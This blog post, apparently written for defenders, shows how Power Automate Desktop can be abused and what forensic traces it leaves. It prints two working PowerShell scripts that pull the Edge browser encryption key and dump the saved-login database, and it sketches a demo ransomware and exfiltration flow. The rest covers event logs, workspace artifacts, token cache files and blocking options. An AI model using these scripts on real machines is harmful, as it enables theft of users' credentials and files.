Power Automate

Power Automate

Authored by Godwin Attigah, copied with permission.


Power Automate allows users to build flows with robotic process automation (RPA). Power Automate is powered by Microsoft Flow and Power Apps. The desktop version of the software-as-a-service (SaaS) is now available on all Windows 11 devices as a Windows Store Application.


Windows Store applications are built on the Common Language Runtime (CLR). The concept allows developers to author their applications (apps) in different programming languages but deploy them to a common runtime. The final application is a package with the file format (.APPX), comparable to the Android, and APK format.

The apps have a unique package identifier, which is represented by a combination of the package name, build version, target platform, and a unique publisher identifier. Installation and execution logs can be found in “%Program Files%\WindowsApps\”. The application-specific logs can be found in “%LocalAppData%\Packages”.

What can a user do with Power Automate? 

Essentially anything, for example:

  • Copy Files to and from anywhere on and off the host.

  • Write to files.

  • Encrypt/Compress files.

  • Create custom scripts for exfiltration.

  • Use the Active Directory (AD) integration to remotely login to AD connected hosts.

  • Execute Python scripts even on a machine without Python installed (caveat: you cannot import packages without providing a package path).


To determine if Power Automate Desktop is installed, you can execute the following to get the individual commands and their corresponding application identifiers (app IDs).

PS C:\Users\windowsserver> (Get-AppxPackage -Name "*PowerAutomateDesktop*" | Get-AppxPackageManifest).package.applications.application

Id             : PAD.Console

Executable     : PAD.Console.Host.exe

EntryPoint     : Windows.FullTrustApplication

VisualElements : VisualElements

Extensions     : Extensions

Id             : PAD.Designer

Executable     : PAD.Designer.exe

EntryPoint     : Windows.FullTrustApplication

VisualElements : VisualElements

Extensions     : Extensions

Id             : PAD.BrowserNativeMessageHost

Executable     : PAD.BrowserNativeMessageHost.exe

EntryPoint     : Windows.FullTrustApplication

VisualElements : VisualElements

Id             : PAD.Updater.MSIX

Executable     : PAD.Updater.MSIX.exe

EntryPoint     : Windows.FullTrustApplication

VisualElements : VisualElements


In the following paragraphs we’ll look at a scenario that describes a mini ransomware and credential exfiltrator Power Automate flow.

  • Credential exfiltration flow:

    • We execute a PowerShell script that harvests browser credentials. The results are sent to a webserver using Power Automate's Invoke Web Service.

  • Ransomware flow:

    • File exploration: We iterate over files in the Documents directory, encrypt them and exfiltrate them to the same web server in the exfiltration flow.

Power Automate Flow

PowerShell Script 1

The following PowerShell script retrieves the Edge Browser database encryption key.

$edge_local_state = "$($env:USERPROFILE)\AppData\Local\Microsoft\Edge\User Data\Local State"

$local_state = get-content -literalpath $edge_local_state -encoding utf8

$local_state_object = convertfrom-json -inputobject $local_state

$encrypted_key = $local_state_object.os_crypt.encrypted_key

Write-Output $encrypted_key

PowerShell Script 2

The following PowerShell script uses the encryption key from PowerShell script 1 to dump the content of the Login Data object. 

$edge_login_data = "$($env:USERPROFILE)\AppData\Local\Microsoft\Edge\User Data\default\Login Data"

$login_data = get-content -literalpath $edge_login_data -encoding byte

$login_object = [System.Convert]::ToBase64String($login_data)

Write-Output $login_object

Received Credentials and Files listing

Image to the left: Screenshot of the completed workflow that retrieves Microsoft Edge credentials and encrypts files in the Document Directory. It sends both the credentials and the encrypted files to a server.

Image to the right: Server received credentials and encrypted files.


Power Automate uses a file named msalcache.bin3 to acquire tokens and authenticate users. Irrespective of Azure Active Directory (AAD) vs. Microsoft Account (MSA), that file will contain the access, refresh and bearer tokens for Power Automate sessions. The authentication cache is typically located in %AppData%\Local\Microsoft\Power Automate Desktop\Cache. Deleting it will force a re-authentication for the signed-in user.


Whenever you run a Power Automate flow, a process creation event occurs. To get the process to create events, you need to audit the process to create events [3]. You can filter on the event identifier 4688 (Process Create). If you use Sysmon instead of Audit Events the event id is 1

Windows Event Logs

Process Create:

RuleName: -

UtcTime: 2022-08-08 00:28:04.398

ProcessGuid: {xxxxx-xx-xx-xx-000000000a00}

ProcessId: 6508

Image: C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe

FileVersion: 10.0.22000.1 (WinBuild.160101.0800)

Description: Windows PowerShell

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation

OriginalFileName: PowerShell.EXE

CommandLine: "PowerShell.exe" -executionpolicy bypass -File "C:\\Users\\xxxxxxx\\AppData\\Local\\Temp\\Robin\\bpy0pbt501t.tmp.ps1"

CurrentDirectory: C:\Program Files\WindowsApps\Microsoft.PowerAutomateDesktop_10.0.4266.0_x64__8wekyb3d8bbwe\

User: xxxxxx\xxxx

LogonGuid: {xxxx-xxxx-xx-xxx-xxx}

LogonId: 0x9BB5E

TerminalSessionId: 2

IntegrityLevel: High

Hashes: SHA256=C7D4E119149A7150B7101A4BD9FFFBF659FBA76D058F7BF6CC73C99FB36E8221

ParentProcessGuid: {xxxxxx-xxxx-xxx-xxx-xxx}

ParentProcessId: 5772

ParentImage: C:\Program Files\WindowsApps\Microsoft.PowerAutomateDesktop_10.0.4266.0_x64__8wekyb3d8bbwe\PAD.Robot.exe

ParentCommandLine: "C:\Program Files\WindowsApps\Microsoft.PowerAutomateDesktop_10.0.4266.0_x64__8wekyb3d8bbwe\PAD.Robot.exe" --path "C:\Users\windowsserver\AppData\Local\Microsoft\Power Automate Desktop\Console\Workspace\d69f7bc4-f9f0-4a66-91bc-2da7eac098e1\CD8EA071\package" --runId xxxxxx --flowId d69f7bc4-f9f0-4a66-91bc-2da7eac098e1 --varPreviewChars 128 --varPreviewLines 10 --mode Run --trigger Local --executionlogspath "C:\Users\windowsserver\AppData\Local\Microsoft\Power Automate Desktop\Console" --category PadConsole --correlationid "xxxxx-xxx-4b5f-xx-xxxx" --environment "tip0" --environmentname "one-drive-environment-Id" --geo "unitedstates" --principaloid "00000000-0000-0000-xx-xxxxxxxxxxx" --principalpuid "xxxxxx" --region "one-drive-environment-Region" --sessionid "xxxx-xxxx-xx" --tenantid "9188040d-6c67-4c5b-b112-36a304b66dad"

ParentUser: xxxxxx/xxx

Interesting Fields

UPN: Microsoft Account/Azure Active Directory principal. This could be in the form of either the user's AD SID, email, or AAD user identifier (GUID).

TenantID: The Azure/Office tenant the user belongs to. We have an or condition because not all users have Azure and Office Subscriptions. You can have a tenant in either of them. In the event the user is not an enterprise customer, the tenant ID will be that for consumer accounts (MSA accounts). This was the case in our test, since we used a consumer account. One of the tenant IDs for MSA is 9188040d-6c67-4c5b-b112-36a304b66dad.

FlowId: This is very important as it allows you to map the logs back to the process execution event. It is a unique guid that represents the underlying Microsoft Flow. 

Now that we know our workflow ID we can look at some other relevant logs.

Application and Installation data

There is an application data directory which has the application configurations, listings, logs and code. There are two interesting directories here: Local*(LocalState and LocalCache) and Roaming.

The LocalState folder holds device-specific data which includes the app functionality and state logs. Power Automate does not appear to populate the logs in this directory. 

LocalCache holds runtime logs from CLR. The subdirectory Local\Microsoft\CLR_v4.0_32\UsageLogs\PAD.Console.Host.exe is the most interesting one here as it also includes which windows APIs are called.

The RoamingState folder allows you to find data on all the devices that the user is running the app on. For domain joined users, you can look here for other machines the user has run Power Automate on as well as the URIs, scripts et.al in those invocations.

Execution Logs and Raw Scripts

Console Directory

One can think of the console as Power Automate's Shell. This is what actually runs the commands/flows that are created. 

The workspace subdirectory, AppData\Local\Microsoft\Power Automate Desktop\Console\Workspace, contains most of the logs an analyst/forensics/security team is looking for. Each Power Automate flow has its unique flowId as a directory. In our corresponding example from the above Process Create event, the directory will look like the following  %AppData%\Local\Microsoft\Power Automate Desktop\Console\Workspace\d69f7bc4-f9f0-4a66-91bc-2da7eac098e1.

In each of the workspace directories, there is a subdirectory for each Flow. 

Interesting files in this directory:

  • Script.robin: The actual flow that was run was the script.robin file. 

- Structure Of the file

- Import statements

-  Body of the function 

- The important thing here is to note that, if the user does not save the flow, we do not get this file. So they can run the flow, perform all the actions they are interested in and we will not see the script they run. We will still get our process and execution logs, if the process that was created is audited.

  • flow.manifest: The manifest holds the .NET functions that are called within the Power Automate Script 

The scripts\workflowid\Runs - Holds every single invocation of the Power Automate.

Directory structure of Power Automate’s Workspace

Designer Directory

The Data directory holds files that contain information about breakpoints, variables amidst others.


Microsoft DLP for Power Automate

Microsoft is currently offering a private preview for data loss prevention (DLP) for desktop flows using the robotic process automation (RPA) capability in Power Automate. With DLP for desktop flows, admins can manage and define which actions users can take in the Power Automate desktop app; this does not work for Consumer Accounts, though, as it requires you to have an Azure/Office tenant. 

WDAC and AppLocker

WDAC currently supports blocking the usage of a packaged app altogether. For organizations that do not have an Azure Tenant and the appropriate subscriptions, blocking packaged apps, specifically Power Automate via WDAC, is the path of least resistance [2].


With some degree of accuracy we can use Logs Exporter to get Power Automate Logs off the host. However, since we do not have a Microsoft Tenant we will miss out on some granular mitigation and process logs. What we have on the host should suffice.

Unfortunately, a lot of context is lost if the user does not save the flow. That is, if they just run the flow and do not save it, the granular logs and the scripts are all gone :sadface:.

  1. https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/manage-packaged-apps-with-windows-defender-application-control

  2. Manage packaged apps with WDAC (Windows) - Windows security | Microsoft Docs

  3. https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-process-creation


Popular posts from this blog

Incident Response in the Cloud

Parsing the $MFT NTFS metadata file

Container Forensics with Docker Explorer